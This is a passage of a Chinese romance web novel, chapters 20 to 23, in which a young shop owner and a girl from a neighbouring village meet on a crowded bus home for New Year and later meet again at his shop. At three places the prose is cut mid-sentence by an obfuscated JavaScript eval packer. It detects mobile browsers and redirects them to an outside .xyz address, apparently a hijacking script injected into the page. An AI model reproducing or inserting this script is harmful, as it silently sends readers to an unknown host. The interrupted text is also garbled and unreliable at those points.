看着躺在地上的两袋货物，赵国亮只能放弃向前追去的念头，耸了耸肩。最终，只能懊恼地抓了抓头发，无奈地弯下腰，重新扛起那两个编织袋。 那女孩精致的面庞、扑闪扑闪的大眼睛、还有那轻柔的道歉声，却像烙印一样清晰地刻在了他的脑海里，挥之不去。 哎，人海茫茫，还能再遇见吗？ 没有要到联系方式，后悔啊后悔！肠子都悔青了！ 20. 相逢 下午两点，梓州市长途汽车站前挤满了回乡下的人，一年一度的春运大潮如期而至，但今年似乎比往年更汹涌。扛在肩上的鼓囊囊的编织袋、勒在胸前的大背包……空气里弥漫着归家的急切。这喧嚣的景象无声地诉说着一个事实：今年外出谋生的人，好像更多了。 “霖子，你确定你们过年都不放假？我记得你们饭店不大啊，怎么过年都不休息？你要不辞工算了，来跟我一起干？”赵国亮看着正在给自己搬货物到大巴车行李舱的吴孟霖，原本还想这次进货，顺便跟兄弟聚一聚。结果他告诉自己，今天都是好不容易抽空来陪他的，过年都回不去。 吴孟霖看着自己兄弟靠在大巴车侧，穿着一身黑色皮衣，衬得身形愈发挺拔，只是表情吊儿郎当的。果然同人不同命，自己在这给他干苦力，他还一旁挖苦。 不过对比自己和眼前光鲜亮丽的帅气小伙儿，人确实是命好。吴梦霖只能无奈地婉拒：“赵老板，我不是做生意的料。再说了，这个工作还是我爸托关系让我进的，我要是不干了，他非得打断我的腿不可。而且现在的师傅对我挺好，也什么都愿意教我，我还是好好跟人学，等我学成归来，我给你露一手。” “那行啊，够意思！”赵国亮笑着捶了吴孟霖肩膀一下，豪气干云地说，“那你就好好学，我就好好开店挣钱，等兄弟我发了财，直接投资你开个大饭店，让你当老板！” “好，我相信你可以，到时候我的饭店可就等着你投资了哈。不过赵老板，建议你还是赶紧上车占个位置，等会人都上去你就没位置坐了。我得赶紧回店里了，马上年关了，饭店可忙了。” 在吴孟霖的催促下，赵国亮终于上了车。看着兄弟匆匆离去的背影消失在人群里，他环顾了一下拥挤嘈杂的车站，天气冷飕飕的，实在没什么可待的，赶紧上车。多亏吴孟霖提醒，他早上车占了个位置，还把随身的小包放在了旁边的空座上。 此时，大巴车里已经坐了七八成满，空气混浊，弥漫着各种气味。赵国亮靠着椅背，闭上眼，打算眯一会儿。昨晚在吴孟霖那拥挤的宿舍，听着他震天响的呼噜，几乎没怎么睡着。奇怪得很，高中住校时也没见他打呼噜这么厉害啊？ 迷迷糊糊不知睡了多久，赵国亮被车上越来越嘈杂的人声吵醒。他抬手看了看腕上的手表，离发车时间还有二十分钟。现在车上几乎坐满了，过道上也开始站人。由于自己的小包放在旁边的位置，大家以为这是有人提前占了，所以他旁边还有个空位子。 “秀梅！我在这儿！我给你占了前面这个位置，快过来！” 赵国亮被后面一声粗旷的声音震住，抬头往后一看，还是个短发年轻女孩儿，长得虽不是多漂亮，但声音怎么也不该像个三十多岁的男人声气。正当自己把头转回来时，一个熟悉得让他心头一跳的轻柔声音，像羽毛般拂过耳边： “不好意思，让一让哈，谢谢～” 赵国亮猛地抬头！果然是她！昨天在批发市场撞进他怀里的那个“李嘉欣”！ 只见她双手提着好几个塞得满满当当的购物袋，艰难地在狭窄的过道里挪动。她小心翼翼，生怕袋子蹭到两旁坐着的乘客，每过一个人，都歉疚地点头致意。当她终于快挪到那个短发姑娘占的座位时，前面一位膀大腰圆的大妈眼疾手快，一屁股结结实实地墩在了那个放着小包的座位上！ 王秀梅愣住了，看着位子被大妈抢先一步，一时不知该说什么，只能求助又无奈地看向李春阳。 “诶！大孃！这个位子是我占的！你没看到我放了包吗？”李春阳的火爆脾气也是瞬间被点燃。看着一脸占着座位还特拽的那大妈更是气不打一处来，自己也不想惯着。 可这大妈也不是吃素的，一抬屁股，把下面的袋子扯出来甩给李春阳：“袋子给你，我人现在在位置上，那就是我占的位置，你们年轻人站一会儿怎么呢？尊老爱幼不懂吗？” 王秀梅看着马上就要和大娘干起来的李春阳，赶紧拉住她，小声劝道：“春阳，算了算了！多一事不如少一事。都怪我刚才非要去厕所。我站着就行，能挤上车回家就已经不错了。” 她脸上带着息事宁人的笑容。 赵国亮全程目睹了这场“抢座风波”，心理暗自感谢吴孟霖那小子，多亏他让自己提前上车。 “嘿！”他扬起笑容，朝着过道里正为难的王秀梅招了招手，“要不……过来坐我这儿？” 他的声音不大，却清晰地穿过嘈杂。 王秀梅循声侧身，目光越过人群，当看清是赵国亮时，那双漂亮的眼睛瞬间亮了起来——是他！ 赵国亮立刻起身，利落地帮她把几个沉重的袋子塞到座位底下，示意她坐靠窗的位置：“坐里面吧，安静点。” “谢谢，太谢谢你了！”王秀梅感激地坐下，悄悄回头看了一眼。果然，李春阳正挤眉弄眼地朝她坏笑，一脸“有情况”的表情。王秀梅脸一热，赶紧转回头。 两人并排坐下。 虽然昨天有过一次戏剧性的“亲密接触”，但此刻在这拥挤喧闹的大巴车上，空气仿佛突然凝固了，两人都想表达些什么，但都没有鼓气勇气作先发声的那个人，于是就这么尴尬地坐着。气氛在尴尬之余又微妙的透露着一丝奇怪的信息。 赵国亮只觉得嗓子发干，脑子里一片空白，搜肠刮肚也找不出合适的话题。他恨不得给自己两下：平时跟女孩们搭讪不是挺溜的吗？怎么关键时刻怂成这样？ 车上的喧闹与他们的沉默形成了鲜明对比。同乡的人们用着熟悉的乡音，聊着打工的见闻、家里的情况、过年的安排，声音此起彼伏。 就在赵国亮深吸一口气，准备硬着头皮打破这令人窒息的沉默时，身边的女孩却先开了口。她微微侧过脸，声音轻柔，带着一丝不易察觉的羞涩： “没想到……我们这么快又见面了。真的……好巧啊。” 看着她带着笑意又有些羞涩的眼神，赵国亮也笑了起来，不知怎地，嘴里重复着她的话：“是啊，真是有缘份啊。看来我俩……确实很有缘。” 话一出口，他又觉得有点傻气，气氛似乎更微妙了。 王秀梅似乎也感觉到了这丝尴尬，局促地抬手摘下了头上的白色毛绒帽子，紧紧攥在手里，无意识地揉搓着帽檐上那两个随着动作轻轻摇晃的小毛球。赵国亮也不让自己空闲着，一会儿挠挠后脑勺，一会儿抓抓头发，又下意识地抻了抻自己皮夹克的衣襟，整理自己的形象，试图让自己看起来更精神些。 赵国亮恨自己不争气，也不知道自己今天是吃了什么东西怎么变了一个人似的，暗自在心里骂自己是个怂包：“妈的！我怎么这么怂啊！连话都不会说了。” 算了，豁出去了！ 赵国亮明显感觉到自己的心跳在加快，他双手用力在膝盖上一搓，终于想起最关键的问题，他还不知道她的名字！刚才后面那短发姑娘好像叫她“秀梅”？ 他清了清嗓子，坐直身体，目光不再躲闪，而是直接、清澈地看向王秀梅的眼睛，带着一种前所未有的认真：“你好，我叫赵国亮。请问……你叫什么名字？” 他收起了之前那副吊儿郎当的样子，眼神专注。 王秀梅被他看得脸颊微热，迎上他的目光，又飞快地垂下眼帘，轻声回答：“我叫王秀梅。刚刚忘了自我介绍，不好意思。” 她下意识地把目光投向车窗外飞驰而过的模糊景色。 “王秀梅……”赵国亮在心里默念了一遍，这名字跟自己的一样土，挺配的。 接着，他像是打开了话匣子，之前的局促一扫而空，恨不得立刻了解她的一切，但又强压住冲动：“我是清泉乡白云村的。你呢？你是哪里的？” 他的声音里带着期待。 听到来自同一个乡镇，王秀梅也小小吃惊了，没想到这么有缘：“我也是清泉乡的，不过我是王坪村的。” “王坪村？！”赵国亮眼睛一亮，按捺不住地咧嘴笑了，“那离我们白云村不远啊！太好了！” 他心里乐开了花，这意味着他们可以同路坐到终点站，足足有五个小时！时间！宝贵的时间！ 就在这时，车子启动的轰鸣声加大，车身微微震动。售票员李超开始艰难地在拥挤的过道里穿行，扯着嗓子喊：“买票了买票了！没买票的赶紧买票！” 李超家就住在清泉乡中学旁边，跟赵国亮是老熟人了。他挤到赵国亮座位旁，一眼看到他身边坐着的漂亮姑娘，再瞅瞅赵国亮脸上那藏不住的笑意，顿时乐了，忍不住打趣： “哟！这不是我们赵大老板吗？行啊你！啥时候谈上这么漂亮的对象了？” 李超故意提高嗓门，挤眉弄眼，“这带回家过年，家里是不是得赶紧准备喜糖了？” “滚蛋！李超你别乱说！什么女朋友，还不是了？” 赵国亮赶紧笑骂着制止，生怕吓着王秀梅，果然瞥见她已经羞得满脸通红，头都快埋到胸口了，“刚认识！别瞎咧咧！” “噢～～刚认识啊～～”李超故意拖长了调子，一脸“我懂”的坏笑，“现在不是，那以后说不定就是了嘛！这么漂亮的妹子，赵老板你可得抓紧啊！”他见好就收，把话题拉回正事，“行了行了，两个人，到清泉乡，44块！” 赵国亮很自然地掏出钱包，把两人的票钱一起付了。王秀梅赶紧拿出钱递给他：“给，这是我的车票钱。” 赵国亮看着旁边递给来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788767|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱，原本不想要接，但突然想到他俩还没熟，李超刚才那一通调侃，要是不拿着这钱，人女孩肯定是不好意思的，所以他还是大大方方地接了过来：“行，那我收着了。” 回乡的大巴车总是要比早上进城那趟开得快，司机似乎也想早点回家吃晚饭。车上的乘客也是归心似箭。只有两个人，心底隐秘地希望这颠簸的旅程能再长一点，再慢一点。 车轮滚滚，窗外的景色从城市边缘的平房、广告牌，逐渐过渡到田野、村庄。赵国亮和王秀梅的交谈也渐渐顺畅起来。大部分时候是赵国亮在引导话题，从清泉乡聊到学校里的趣事。赵国亮很会聊天，总能接住王秀梅的话，不让她的任何一句话落在地上。王秀梅虽然话不算多，但回应得也很认真，时而掩嘴轻笑，气氛越来越融洽。 在聊天中，赵国亮了解到，王秀梅今年16岁，比自己小两岁，和弟弟赵智民一样大。初中毕业后没考上高中，去年毕业后开始在市里一家商场里的服装店当销售。难怪昨天在批发市场能碰到她，原来也是去淘货的“同行”。 同样地，王秀梅也渐渐勾勒出眼前这个阳光帅气大男孩的轮廓：白云村的赵国亮，自己好像在初中时听老师提起过这个名字，是学习很好的风云人物？不过她那时性格比较内向，不爱打听八卦，也不怎么出去玩，所以印象很模糊。 由于共同的生活背景：同一个家乡、同一个初中。两人迅速拉近了距离，聊起学校的严师、趣事，还有镇上的变化，话题源源不断。 时间在愉快的交谈中飞逝，长途汽车马上要在前方到达终点站。冬天的夜晚来得格外早，车窗外已是漆黑一片。车里也熄了灯，只有车子前方发出光探路。许多疲惫的乘客东倒西歪，躺着睡觉。 为了不打扰别人休息，赵国亮和王秀梅的交谈声压得更低了。两人不知不觉地靠得近了些，头几乎挨着头，轻声细语。一种心照不宣的亲近感在黑暗中悄然滋生。 就在这时，前方有人下车，司机猛地踩了一脚刹车！两人身子瞬间弹开。 车灯亮了，待人下车后，车里又回到了黑暗与寂静。但两人还未从刚刚的情绪中走出来。原来在刚刚急刹车时，王秀梅一个没坐稳靠在了赵国亮怀里。赵国亮赶紧伸手扶着她，不小心碰到女孩的手。赵国亮也赶紧收回手，掌心似乎还残留着她手背的细腻触感和温度。 砰！砰！砰！心脏在不停地扑通扑通跳动。 赵国亮如此，王秀梅也是如此。 方才那短暂而意外的肢体接触，像投入心湖的石子，激起了剧烈的涟漪。一种无形的情意氛围笼罩着两人。 两人也是意识到了，却默契地选择了沉默，都不愿开口打破这份黑暗中的暧昧与慌乱，默契地享受这种氛围，让自己心底那份情绪肆意流淌。 车灯再次亮起，照亮了前方熟悉的街道轮廓，清泉乡到了！终点站就在眼前。赵国亮猛地想起什么，赶紧在自己随身的挎包里摸索。钱包？在。钥匙？在。烟？在。可翻来覆去，就是找不到纸和笔！ 他懊恼地低咒一声。果然，电影里拍的桥段还是有教育意义的，男主随身携带纸笔的作用就在此刻充分体现出来了。但现实和影视还是有差距的，自己平时怎么会带那玩意儿。 之前进货都会在包里放着纸和笔，可偏偏这次忘了带那个包！！！ 眼看车子即将停稳，他急中生智，侧过身，压低声音对王秀梅说：“学校门口出来，正对面，有家服装店，叫‘国亮时尚潮流坊’，那是我开的。明天正好赶集，你要是有空……可以过来玩儿，来店里找我！” 没有纸笔，所以赵国亮没有给对方自己的企鹅号，只能对王秀梅说着自己的店名。 话一出口，突然意识到，对着女孩直接说让她来找自己是不是有点太冒昧了，于是连忙找补，带着点笨拙的傻气，“呃……我的意思是，来看看新衣服！快过年了嘛，买件新衣服！哈哈！” 王秀梅看着他急切又有点窘迫的样子，被他最后那句找补逗得“噗嗤”一声轻笑出来，心中的紧张感也消散不少。她当然明白他的意思，点了点头，声音轻柔却清晰：“好呀。正好我也想看看新衣服。明天……我去你店里看看。” 车终于停稳，车门“嗤”的一声打开。冷冽的空气瞬间涌入。刚睡醒的李春阳像一阵风似的冲过来，一把拉住还在愣神的王秀梅：“秀梅快走！憋死我了！赶紧找厕所！” 不由分说就把她拽下了车。 赵国亮站在车门口，看着王秀梅提着大包小包被李春阳拉着奔跑的匆忙身影，心里甜蜜蜜的，已经开始期待明天的相见。 明天赶集，他得把店里最好的衣服都挂出来！ 21. 心动（1） “她现在在干什么呢？” 赵国亮躺在床上，眼睛盯着黢黑的房梁，思绪却飘到了隔壁的王坪村。她睡了吗？还是像自己一样，在床上翻来覆去，辗转反侧，被一种陌生又甜蜜的情绪搅得心神不宁？ 他想象着王秀梅此刻的模样，想象着她的想法。月光会不会透过她房间的窗户，照亮她同样无眠的脸？ 她会不会……也在想着自己？ 这个念头让他心头一热，随即又涌上一丝忐忑的期待。 明天是非常重要的一天，第一印象必须重要。他要早早起来开店，必须养足精神。不仅是为了照看店里的生意，更因为他希望王秀梅看到他的第一眼，是一位神采奕奕、充满干劲的男人，而不是一个蔫头耷脑，无精打采的模样。于是，他强迫自己闭上眼睛，深呼吸，试图将那个穿着白色羽绒服、戴着毛绒帽子的身影暂时驱赶出脑海。 殊不知，在另一片村子的一个普通的王姓家里，同样有一位女孩儿在床上也是如此。 王秀梅害羞地把自己裹在厚厚的被子里，却怎么也盖不住那颗怦怦乱跳的心。她回想起这两天与赵国亮的两次“意外”相遇，就像两场突如其来的春雨，猝不及防地浇灌了她懵懂的心。她忍不住发出几声压抑不住的、痴痴的傻笑。 十六岁的少女，第一次感受到了一种名为“心动”的涟漪。 原来这就是喜欢一个人的感觉啊，怎么也抑制不住地想他！ 思绪不由自主地飘回昨天在批发市场那令人面红耳赤的一幕。 摔倒时，她慌乱中抬起头，映入眼帘的便是一张嘴。说来奇怪，她从来没有那么细致地观察过一个男生的嘴唇，也没想过的是，自己到现在还会想起他的嘴：唇形线条清晰流畅，嘴唇看起来很软，有点猫咪唇的样子，唇色是比较健康的粉嫩，不像许多男生那样粗糙暗沉，反而透着一种干净温润的光泽。这或许是他本身肤色就比其他男生要白一点，所以显得嘴唇颜色稍微突出一些。总之，那唇瓣的每一道弧度，都像是长在在她审美点上，让她莫名地……心跳失序。 其实，她当时脑海快速地闪出一个念头。第一想法就是：想亲，试试看什么味道？ 王秀梅回味着，突然觉得自己有那么一丝羞耻，赶紧打住。接着，她抬头继续往上看，才看清楚整张脸：额正脸端，鼻子挺俏，眉清目秀的，是那种典型的端正帅哥。刚看长相，不同于韩剧里那些霸道总裁，而是斯斯文文，书卷气蛮浓的，而且脑子一看就是蛮聪明的。 待她站起来后，看到男生一副略显痞气的皮衣打扮，很时尚，跟以为脑海中书生形象形成反差，竟有一种奇特的吸引力。 可能自己比较内心，哪怕对眼前的男生有种天然的好感，但看他对自己也没有说什么话，自己也做不出主动去问男生联系方式的行为。 离开后，她懊恼极了，懊恼自己没有鼓起勇气要联系方式！ 本以为这场短暂的心动会像肥皂泡一样消散在回家的风里，错过就错过，就当是一场梦吧。可谁曾想，命运如此奇妙，她竟然在大巴车上再次遇见他！ 那一刻，王秀梅几乎要相信，这就是所谓的“天注定”的缘分。 想到这里，王秀梅迫不及待地期待和他的见面。明天就要去见他了！穿什么好呢？ 这个念头像一道亮光，瞬间驱散了她的胡思乱想。王秀梅“噌”地坐起身，翻身下床，轻手轻脚地打开自己的木衣柜，看着满满当当的衣服裙子，一时不知该怎么搭配了。她比较喜欢白色和绿色的清爽搭配，但快过年了，是不是该穿得喜庆一点？于是她翻出那件压箱底的红色棉袄套上，看着镜子里的自己——确实像年画娃娃般喜庆，但感觉有点土气。 “算了……”她果断脱掉红棉袄。还是穿那件自己最中意的那件长款白色羽绒服吧，里面换成红色针织衫，再围上那条新买的、带着流苏的枣红色围巾！ 嗯！不错！这样既精神又不会太难看，还带着点过年的气氛。对着镜子左看右看，王秀梅终于满意地笑了。把搭配好的衣服仔细叠好放在床头，她这才带着一丝甜蜜的期待，重新钻回被窝，终于可以安心入睡了。 同样被“明天穿什么”困扰着的，还有白云村的赵国亮。 第二天，天刚蒙蒙亮，鸡才叫了头遍，赵国亮就轻手轻脚地爬了起来。他蹑手蹑脚地摸到厨房，舀水、烧水，在微凉的晨光里，用那瓶印着“大家好才是真的好”的好迪洗发水仔细地洗了头。然后，他站在灶前，借着灶里散发的火气，小心翼翼地烘烤着自己湿漉漉的头发，手里还拿着一面缺了角的旧镜子，对着自己左照右照，嘴角时不时咧开一个傻乎乎的笑容。 “亮娃？你大清早的站在灶口干啥呢？还拿个破镜子照来照去？” 杨红翠被厨房的动静吵醒，看着儿子站在灶前傻乐，大吃一惊，奇了怪了，之前开店咋没有起这么早。 “妈，我洗个头，烤干一下。你看我这发型怎么样？”赵国亮随手抓了抓半干的头发往后挠，试图抓出一个潇洒的造型。幸好上次去市里进货时，买了一瓶死贵死贵的发胶喷雾，一直没舍得用，没想到这么快就派上了大用场。 杨红翠看着儿子花里胡哨的发型，虽然不懂现在年轻人的时髦，但自己儿子这张俊朗的脸，可是老乡们从小夸到大的，长得啥样还是心里清楚的。她倒也是不违心的夸着：“哎呦，好看，好看得很。” “那就行，那我去换衣服了。” “哦，对了，妈，我不吃早饭了。我等会收拾好了后直接去街上吃，我就不等你和爸了，我要先去店里把昨天进的货摆出来。” 说完，他像一阵风似的溜回了自己房间。 等头发干得差不多了，赵国亮翻了翻自己的衣服。昨天穿的是皮夹克，今天干脆换点风格。他挑出一件黑色休闲西装外套，里面配一件深灰色的高领毛衣。对着镜子仔细整理好衣领，干净利落，带着点小时髦。赵国亮对着镜子里的自己挑了挑眉，露出一个满意的笑容。 收拾好自己后，他立刻出门。 赵家所在的村子离乡镇主街挺近的，大概走路也就二十多分钟，比起那些住在山上村子的人家要好得多。其实，当年杨红翠选择嫁给赵兴强也有这方面的原因：住在山上的人老是想往山下搬，没钱搬怎么办了？那就嫁一个山下的人家。而山下的人家，就往乡镇上搬，镇上的人家往城里搬。 自古以来皆是如此。 此刻天还没有特别亮，路上已经能看到不少赶早集的人影，有从更偏远山村下来的，背着沉甸甸的、还带着露水的蔬菜；还有挑着嘎嘎叫的鸡鸭笼子的；大家都脚步匆匆，前往街上的集市。 或许带着期盼，赵国亮偶尔还小跑起来，所以今天比往常要花更短的时间到达店面。他麻利地打开店门，除了菜市场那边外，他们这边的街道还很冷清，他知道一般太早都没有人会来看衣服的，在迅速把昨天进的新货，那些时髦的围巾、帽子和手套，精心搭配好挂上墙面的展示架和下方的矮架。做完这一切直接去隔壁张姐的米粉店嗦一碗粉，此时店里已经坐了不少人了，不过全是年纪比较大的。 “张姐，来碗粉？加份牛肉。”赵国亮和老板是老熟人了，从小就在这吃粉了，而父亲赵兴强就爱吃下街的豆花饭。 “哟喂！这不是我们赵大帅哥吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788768|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？今儿太阳打西边出来了？这么早，还是头一回见啊！” 系着围裙的张姐看到他，眼睛一亮，嗓门洪亮地招呼着。张姐手脚麻利地煮粉、浇汤，最后舀牛肉时，那勺子明显厚实很多，碗里的牛肉堆得冒尖。 赵国亮饿坏了，坐下就大口吃起来，没太注意碗里的牛肉“加量”。不过他没觉得有啥不同，因为之前也是这样的。殊不知这是张姐对他的特殊照顾， 张姐看着这俊朗的侧脸，心里的小算盘又拨弄起来。这十里八乡的小伙儿没有一个比赵国亮好看的，以前女儿刘琴在店里帮忙时，那眼神就没从他身上挪开过。这点小心思当妈的还是看得出来。现在小伙子自己开了店，生意也不错，是个有出息的。她之前没少在赵兴强两口子面前旁敲侧击：“亮娃儿这孩子翻了十八就马上二十了，是该可以成家了，你看隔壁的李二娃十九岁都抱上孩子了。” 赵兴强和杨红翠听得出画外音。虽然赵兴强觉得刘琴是挺不错的女孩，张姐也是个厉害的老板，在乡镇上有个经营了十几年的米粉店，家庭是比自己家好的。 但杨红翠心里却不这样想，她觉得张姐男人都死了好几年，要是自己儿子跟刘琴好了，大盘小事肯定得先处理刘家，那自己辛辛苦苦养大的宝贝儿子不就拱手送人了吗？再说刘琴长得不高挑，模样也一般，她打心里是觉得不配自己儿子的。 两家人打着太极，没说成也没说不成，这件事就这样不了了之。 “张姐，我吃好了，我先忙店里的事情。”赵国亮大口大口地吃完，一抹嘴就要走。 “好嘞好嘞！快去忙你的。” 张姐笑着应道，又赶紧加了一句，“对了，亮娃儿，有好看的新样式衣服，记得给我留一件啊，我回头过来看看！” “行啊，张姐！昨天刚到的货，款式多得很，你多挑挑，包您满意！” 赵国亮爽快地答应着，结完账，快步回到了自己的店铺。 他将搭配好的套装仔细整理好挂出来，调整着位置，力求让每套衣服都呈现出最好的状态。时间一点点流逝，赶集的人也渐渐从下方的菜市场涌入他们这条街道，小小的“国亮时尚潮流坊”也开始热闹起来。赵国亮脸上挂着职业性的笑容，热情地招呼着顾客，介绍着款式，但眼角的余光始终留意着店门外的每一个身影。 一个，两个，三个……进来的顾客换了一拨又一拨，有叽叽喳喳的女学生，有给家人挑选衣服的大婶，唯独没有他期待的那一个。 该不会……她不来了吧？ 一想到这儿，赵国亮心情有点低落。之前那副嬉笑的迎客方式也都没有了，现在板着一张脸靠在外墙边，看着来来往往的赶集人，只希望能捕捉到那张熟悉的脸。 “哟，赵老板今天走冷酷路线啊，穿得那么帅，站门口吸引小姑娘啊？” “人家赵老板还弄上造型了，怪不得今天一大早，小姑娘们一茬接一茬的往店里跑。” “小姑娘些买了衣服都还舍不走得嘞，就想跟赵老板多说几句话，多呆一会儿！” 隔壁卖鞋的王孃孃、卖床单被套的李姐，还有刚忙完过来的张姐，看着门神一样杵在那儿的赵国亮，忍不住你一言我一语地打趣起来。搁在平时，赵国亮少不了要跟她们逗几句嘴，拉拉家常。可现在，他只觉得这喧闹格外刺耳，心底的失落慢慢缠绕上来，勒得他心烦。他实在没有多余的心情和她们聊天，勉强扯了扯嘴角一表示回应，随后转身钻回店里，心不在焉地应付着顾客的询问。 这样低落的情绪，整整持续了一下午。赶集的人基本上都陆陆续续散去，很多卖货的临时小摊主们也忙着收摊，只剩下有固定铺面的人家还在守着。 22. 心动（2） 街上又回到了往日的冷清。 看来，今天是等不到了。赵国亮长长地叹了口气，认命地开始收拾。他把摆在门外展示的几件衣服收进店里，把折叠桌也费力地搬了进去。收拾妥当，他最后望了一眼空荡荡的街道，准备拉下卷帘门。 就在他转身，钥匙即将插进锁孔的那一刻，眼角的余光忽然捕捉到了一个熟悉的身影！ 他猛地回头！ 只见街中央，王秀梅正站在那里！她穿着昨天那件白色的羽绒服，脖子上围着那条枣红色的围巾，大概是走急了，小口喘着气，胸口微微起伏，几缕发丝从鬓边滑落，贴在微红的脸颊旁。 赵国亮愣住了。刚刚的失落瞬间消失得无影无踪，随后，惊讶和巨大的惊喜如同烟花般在心底“嘭”地炸开！他甚至来不及思考，身体已经先于意识做出了反应——他像离弦的箭一样，三步并作两步冲上去，猛地停在她面前，眼睛一眨不眨地盯着她，仿佛怕眼前的人影是幻觉，下一秒就会消失。 王秀梅被他突然冲过来的气势惊得下意识后退了一小步，随即稳住身体，抬起头，笑着看着他，没有躲闪的迎上他灼热的目光。 他就是这样笑着，眼神亮亮的，直勾勾的看着自己，大胆又直白。 赵国亮忍不住微微俯身，将身体倾向王秀梅，缩短身高差，目光与她平视，声音里带着一丝不易察觉的委屈：“我……我以为你今天不会来了？” 那语气，竟像是被主人遗忘在家的小狗，带着一丝埋怨，又掺杂着浓浓的撒娇意味。 王秀梅被他看得脸颊更红了，赶紧解释：“不好意思……我弟弟今天跟人打架了，我和我爸到处去找他，好久才把事情弄完……” 她眼神里带着真诚的歉意，声音轻柔。 接着，她做了一个让赵国亮心跳骤停的动作——她伸出纤细的手指，轻轻地、带着点怯意地拉住了赵国亮西装外套的袖口，左右微微摇晃了两下。“你……是不是等了我好久？” 她小声问道，眼神里带着点小心翼翼的试探。 袖口处传来的微弱拉扯感，像一股细微的电流瞬间击中了赵国亮。他嘴角的弧度再也控制不住地向上扬起，先前所有的低落和阴霾被这一个小小的动作驱散得干干净净，心里仿佛有无数烟花在一轮又一轮地绽放，绚烂无比。 王秀梅立刻意识到自己这过于亲昵的举动，呃，好像越界了？她赶紧把手抽回来，尴尬地抿了抿嘴唇，眼神躲闪着不敢看他。 天呐！怎么可以这么可爱！！！ 赵国亮内心在疯狂呐喊，一股强烈的冲动涌上心头——真想张开手用力地抱着她，揉一揉她的脸。他拼命压抑着这股冲动，但脸上的笑容却像焊在了上面，从看到她那一刻起就没消失过。 噢！等等！她刚才说什么？弟弟打架？ “什么？你弟弟跟人打架了？”赵国亮的语气立刻带上了护短的关切，“怎么样？打赢了没？谁欺负他？告诉我，下次我去帮你收拾他们！” 他挺起胸膛，一副随时准备为“小舅子”出头的架势。 王秀梅被他这“社会气”十足的反应弄得哭笑不得，刚才那点旖旎心思瞬间飞走，带着一丝无语：“不要动不动就打架！你还要帮他打？这不是教他更暴力吗？” 她微微蹙起眉头，神情认真。 赵国亮看着她瞬间变得严肃的小脸，非但不觉得扫兴，反而觉得可爱极了！一副正直又较真的模样，真是个一板一眼的乖乖女。“好好好，我错了！不该说打架！”他立刻举手投降：“下次带我见见你弟弟，我得好好劝劝他，打架解决不了问题，咱们要以理服人，以德服人！” 他故意说得一本正经。 看到王秀梅脸色缓和下来，他才试探着问：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788769|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了这么久，饿不饿？我们去吃点东西？” 王秀梅摇摇头：“我不饿。弟弟的事处理完，家里买了大饼吃，一个大饼子管我一顿饭。” 她想到那个大饼还心有余悸，吃了好久才吃完。一个大饼确实太管饱了，怪不得爸妈经常赶集那天买饼吃。 看她婉拒，赵国亮自己也不算太饿，便提议道：“那……我们去河边走走？” 王秀梅点点头，脸上重新浮起浅浅的笑意。 两人并肩沿着河岸的石板路，慢慢地走着。赵国亮打开了话匣子，兴致勃勃地跟她分享着自己的世界：痴迷的香港电影、偶像黎明、那些深情的粤语歌、还有他开这家小店最初的梦想和遇到的趣事…… 王秀梅安静地听着，目光时而落在旁边水面，时而落在他神采飞扬的侧脸上。他说的一切对她来说都那么新鲜有趣，是她单调生活里从未接触过的色彩。她不知道黎明是谁，也没看过几部香港电影，家里没有电视，也很少去影像厅，只在市里打工这一年，跟着李春阳和店里的姐妹们去过网吧、才勉强窥见外面世界的冰山一角。 她在城里唯一感兴趣的，就是逛街买衣服，或是看化妆品，然后去各种批发市场淘货， 毕竟哪个女孩不爱美，不爱打扮自己了？也有，比如李春阳，但显然王秀梅说属于爱打扮的那一类。 此刻，听着身边这个仿佛发着光的男孩讲述着那些新奇的故事，看着他生动的手势和明亮的眼神，她心底那片平静的湖水，被投入了一颗颗石子，泛起一圈圈温柔的涟漪。 从河的这一头，慢慢地踱到河的那一头。尽管冬日的夜色不那么温柔，但两个年轻的灵魂，带着对彼此最纯真的好奇和好感，在寒冷的风中里越走越近。两颗悄然萌动的心，被一种无形的引力牵引着，在寂静的河边小路上，试探着，靠近着。 23. 约会 爱恋没经验，今天初发现 遥遥共他见一面，那份快乐太新鲜 我一夜失眠，影子心里现 问为何共他见一面 美丽印象似初恋 默默望着是 默默望着那目光似电 那刹那接触跟他见面 默默地伫候亦从来没怨 分分钟都渴望与他相见 在路上碰着亦乐上几天 轻快的感觉飘上面 可爱的一个初恋 爱恋没经验，今天初发现 遥遥共他见一面 那份快乐太新鲜 ...... 王秀梅初次听到这首歌，是在三天前。 这首歌的歌词，仿佛是为她量身定制一般，一字一句都直击内心，描绘她此刻的心境。 那天，赵国亮神秘兮兮地说要带她去个“好地方”。 